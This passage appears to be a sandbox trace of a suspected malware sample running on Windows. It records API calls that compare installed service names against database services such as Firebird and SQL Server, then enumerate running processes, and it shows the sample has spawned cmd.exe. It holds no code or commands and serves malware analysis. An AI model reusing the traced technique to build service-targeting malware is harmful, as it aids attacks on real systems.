(lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0174.861] lstrlenW (lpString="NcbService") returned 10 [0174.861] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0174.861] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0174.861] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0174.861] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0174.862] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0174.862] lstrlenW (lpString="netprofm") returned 8 [0174.862] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0174.862] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0174.862] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0174.862] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0174.862] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0174.862] lstrlenW (lpString="NgcSvc") returned 6 [0174.862] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0174.862] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0174.862] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0174.862] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0174.862] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0174.862] lstrlenW (lpString="NlaSvc") returned 6 [0174.862] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0174.862] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0174.862] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0174.862] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0174.862] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0174.862] lstrlenW (lpString="nsi") returned 3 [0174.862] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0174.862] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0174.862] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0174.862] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0174.862] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0174.862] lstrlenW (lpString="PcaSvc") returned 6 [0174.862] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0174.862] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0174.862] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0174.862] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0174.862] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0174.862] lstrlenW (lpString="PlugPlay") returned 8 [0174.862] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0174.862] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0174.863] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0174.863] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0174.863] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0174.863] lstrlenW (lpString="Power") returned 5 [0174.863] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0174.863] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0174.863] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0174.863] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0174.863] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0174.863] lstrlenW (lpString="ProfSvc") returned 7 [0174.863] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0174.863] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0174.863] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0174.863] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0174.863] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0174.863] lstrlenW (lpString="RpcEptMapper") returned 12 [0174.863] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0174.863] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0174.863] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0174.863] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0174.863] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0174.863] lstrlenW (lpString="RpcSs") returned 5 [0174.863] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0174.863] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0174.863] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0174.863] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0174.863] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0174.863] lstrlenW (lpString="SamSs") returned 5 [0174.863] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0174.863] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0174.863] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0174.863] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0174.863] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0174.863] lstrlenW (lpString="Schedule") returned 8 [0174.864] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0174.864] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0174.864] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0174.864] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0174.864] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0174.864] lstrlenW (lpString="SecurityHealthService") returned 21 [0174.864] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0174.864] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0174.864] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0174.864] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0174.864] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0174.864] lstrlenW (lpString="SENS") returned 4 [0174.864] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0174.864] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0174.864] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0174.864] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0174.864] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0174.864] lstrlenW (lpString="ShellHWDetection") returned 16 [0174.864] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0174.864] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0174.864] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0174.864] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0174.864] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0174.864] lstrlenW (lpString="Spooler") returned 7 [0174.864] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0174.864] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0174.864] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0174.864] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0174.864] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0174.864] lstrlenW (lpString="StateRepository") returned 15 [0174.864] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0174.864] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0174.864] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0174.864] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0174.865] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0174.865] lstrlenW (lpString="SysMain") returned 7 [0174.865] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0174.865] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0174.865] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0174.865] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0174.865] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0174.865] lstrlenW (lpString="SystemEventsBroker") returned 18 [0174.865] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0174.865] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0174.865] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0174.865] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0174.865] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0174.865] lstrlenW (lpString="Themes") returned 6 [0174.865] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0174.865] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0174.865] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0174.865] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0174.865] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0174.865] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0174.865] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0174.865] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0174.865] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0174.865] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0174.865] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x482090 | out: hHeap=0x420000) returned 1 [0174.865] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x330 [0174.870] Process32FirstW (in: hSnapshot=0x330, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0174.871] Process32NextW (in: hSnapshot=0x330, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0174.871] lstrlenW (lpString="System") returned 6 [0174.871] Process32NextW (in: hSnapshot=0x330, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x13c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0174.872] lstrlenW (lpString="smss.exe") returned 8 [0174.872] Process32NextW (in: hSnapshot=0x330, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0174.872] lstrlenW (lpString="csrss.exe") returned 9 [0174.872] Process32NextW (in: hSnapshot=0x330, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0174.872] lstrlenW (lpString="wininit.exe") returned 11 [0174.872] Process32NextW (in: hSnapshot=0x330, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0174.873] lstrlenW (lpString="csrss.exe") returned 9 [0174.873] Process32NextW (in: hSnapshot=0x330, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0174.873] lstrlenW (lpString="winlogon.exe") returned 12 [0174.873] Process32NextW (in: hSnapshot=0x330, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0174.874] lstrlenW (lpString="services.exe") returned 12 [0174.874] Process32NextW (in: hSnapshot=0x330, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0174.874] lstrlenW (lpString="lsass.exe") returned 9 [0174.874] Process32NextW (in: hSnapshot=0x330, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x230, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0175.005] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0175.005] Process32NextW (in: hSnapshot=0x330, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0175.006] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0175.006] Process32NextW (in: hSnapshot=0x330, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.006] lstrlenW (lpString="svchost.exe") returned 11 [0175.006] Process32NextW (in: hSnapshot=0x330, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.006] lstrlenW (lpString="svchost.exe") returned 11 [0175.006] Process32NextW (in: hSnapshot=0x330, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x230, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0175.007] lstrlenW (lpString="dwm.exe") returned 7 [0175.007] Process32NextW (in: hSnapshot=0x330, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.007] lstrlenW (lpString="svchost.exe") returned 11 [0175.007] Process32NextW (in: hSnapshot=0x330, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.008] lstrlenW (lpString="svchost.exe") returned 11 [0175.008] Process32NextW (in: hSnapshot=0x330, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.008] lstrlenW (lpString="svchost.exe") returned 11 [0175.008] Process32NextW (in: hSnapshot=0x330, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x42, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.008] lstrlenW (lpString="svchost.exe") returned 11 [0175.008] Process32NextW (in: hSnapshot=0x330, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.009] lstrlenW (lpString="svchost.exe") returned 11 [0175.009] Process32NextW (in: hSnapshot=0x330, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x42c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.009] lstrlenW (lpString="svchost.exe") returned 11 [0175.009] Process32NextW (in: hSnapshot=0x330, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.010] lstrlenW (lpString="svchost.exe") returned 11 [0175.010] Process32NextW (in: hSnapshot=0x330, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.010] lstrlenW (lpString="svchost.exe") returned 11 [0175.010] Process32NextW (in: hSnapshot=0x330, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.010] lstrlenW (lpString="svchost.exe") returned 11 [0175.011] Process32NextW (in: hSnapshot=0x330, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.011] lstrlenW (lpString="svchost.exe") returned 11 [0175.011] Process32NextW (in: hSnapshot=0x330, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x620, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0175.011] lstrlenW (lpString="spoolsv.exe") returned 11 [0175.011] Process32NextW (in: hSnapshot=0x330, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x66c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.012] lstrlenW (lpString="svchost.exe") returned 11 [0175.012] Process32NextW (in: hSnapshot=0x330, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0175.012] lstrlenW (lpString="audiodg.exe") returned 11 [0175.012] Process32NextW (in: hSnapshot=0x330, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0175.012] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0175.013] Process32NextW (in: hSnapshot=0x330, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0175.013] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0175.013] Process32NextW (in: hSnapshot=0x330, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0175.013] lstrlenW (lpString="Memory Compression") returned 18 [0175.013] Process32NextW (in: hSnapshot=0x330, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x848, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0175.014] lstrlenW (lpString="sihost.exe") returned 10 [0175.014] Process32NextW (in: hSnapshot=0x330, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0175.014] lstrlenW (lpString="svchost.exe") returned 11 [0175.014] Process32NextW (in: hSnapshot=0x330, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0175.015] lstrlenW (lpString="taskhostw.exe") returned 13 [0175.015] Process32NextW (in: hSnapshot=0x330, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1a8, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0175.015] lstrlenW (lpString="msoia.exe") returned 9 [0175.015] Process32NextW (in: hSnapshot=0x330, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0xa04, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0175.016] lstrlenW (lpString="explorer.exe") returned 12 [0175.016] Process32NextW (in: hSnapshot=0x330, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0175.016] lstrlenW (lpString="SearchUI.exe") returned 12 [0175.016] Process32NextW (in: hSnapshot=0x330, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0175.016] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0175.016] Process32NextW (in: hSnapshot=0x330, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0175.017] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0175.017] Process32NextW (in: hSnapshot=0x330, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0175.017] lstrlenW (lpString="mobsync.exe") returned 11 [0175.017] Process32NextW (in: hSnapshot=0x330, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0175.018] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0175.018] Process32NextW (in: hSnapshot=0x330, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0xa14, pcPriClassBase=8, dwFlags=0x0, szExeFile="WindowsSystem32file.pe32.exe")) returned 1 [0175.018] lstrlenW (lpString="WindowsSystem32file.pe32.exe") returned 28 [0175.018] Process32NextW (in: hSnapshot=0x330, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe0c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdf0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0175.018] lstrlenW (lpString="cmd.exe") returned 7 [0175.018] Process32NextW (in: hSnapshot=0x330, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xe0c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0175.019] lstrlenW (lpString="conhost.exe") returned 11 [0175.019] Process32NextW (in: hSnapshot=0x330, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, 